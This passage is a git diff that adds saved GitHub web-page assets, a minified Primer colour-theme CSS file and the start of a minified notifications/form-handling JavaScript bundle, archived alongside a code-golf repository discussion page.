rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}} + +/*# sourceMappingURL=light-4a4c63a331c1.css.map*/ \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js new file mode 100644 index 0000000..4d11df4 --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var x=Object.defineProperty;var u=(_,L)=>x(_,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["notifications-global"],{7679:(_,L,g)=>{g.d(L,{H:()=>f,v:()=>y});var s=g(59753);function y(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}u(y,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}u(f,"hideGlobalError"),(0,s.on)("deprecatedAjaxError","[data-remote]",function(l){const b=l.detail,{error:A,text:D}=b;l.currentTarget===l.target&&(A==="abort"||A==="canceled"||(/{g.d(L,{Bt:()=>b,DN:()=>w,KL:()=>p,Se:()=>D,qC:()=>k,sw:()=>I});var s=g(59753),y=g(2061),f=g(7679);(0,s.on)("click",".js-remote-submit-button",async function(a){const h=a.currentTarget.form;a.preventDefault();let v;try{v=await fetch(h.action,{method:h.method,body:new FormData(h),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}v&&!v.ok&&(0,f.v)()});function l(a,n,h){return a.dispatchEvent(new CustomEvent(n,{bubbles:!0,cancelable:h}))}u(l,"fire");function b(a,n){n&&(A(a,n),(0,y.j)(n)),l(a,"submit",!0)&&a.submit()}u(b,"requestSubmit");function A(a,n){if(!(a instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(n instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(n.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!a||a!==n.form)throw new Error("The specified element is not owned by the form element.")}u(A,"checkButtonValidity");function D(a,n){if(typeof n=="boolean")if(a instanceof HTMLInputElement)a.checked=n;else throw new TypeError("only checkboxes can be set to boolean value");else{if(a.type==="checkbox")throw new TypeError("checkbox can't be set to string value");a.value=n}l(a,"change",!1)}u(D,"changeValue");function w(a,n){for(const h in n){const v=n[h],C=a.elements.namedItem(h);(C instanceof HTMLInputElement||C instanceof HTMLTextAreaElement)&&(C.value=v)}}u(w,"fillFormValues");function I(a){if(!(a instanceof HTMLElement))return!1;const n=a.nodeName.toLowerCase(),h=(a.getAttribute("type")||"").toLowerCase();return n==="select"||n==="textarea"||n==="input"&&h!=="submit"&&h!=="reset"||a.isContentEditable}u(I,"isFormField");function c(a){return new URLSearchParams(a)}u(c,"searchParamsFromFormData");function p(a,n){const h=new URLSearchParams(a.search),v=c(n);for(const[C,T]of v)h.append(C,T);return h.toString()}u(p,"combineGetFormSearchParams");function k(a){return c(new FormData(a)).toString()}u(k,"serialize")},2061:(_,L,g)=>{g.d(L,{j:()=>s,u:()=>y});function s(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let b=y(l);if(f.name){const A=f.matches("input[type=submit]")?"Submit":"",D=f.value||A;b||(b=document.createElement("input"),b.type="hidden",b.classList.add("is-submit-button-value"),l.prepend(b)),b.name=f.name,b.value=D}else b&&b.remove()}u(s,"persistSubmitButtonValue");function y(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}u(y,"findPersistedSubmitButtonValue")},55089:(_,L,g)=>{var s=g(90420),y=Object.defineProperty,f=Object.getOwnPropertyDescriptor,l=u((e,t,r,i)=>{for(var o=i>1?void 0:i?f(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&y(t,r,o),o},"__decorateClass");let b=u(class extends HTMLElement{constructor(){super();this.addEventListener("socket:message",this.update.bind(this))}update(e){const t=e.detail.data;!this.link||!this.modifier||(this.link.setAttribute("aria-label",t.aria_label),this.link.setAttribute("data-ga-click",t.ga_click),this.modifier.setAttribute("class",t.span_class))}},"NotificationIndicatorElement");l([s.fA],b.prototype,"link",2),l([s.fA],b.prototype,"modifier",2),b=l([s.Ih],b);var A=g(7679),D=g(56238),w=Object.defineProperty,I=Object.getOwnPropertyDescriptor,c=u((e,t,r,i)=>{for(var o=i>1?void 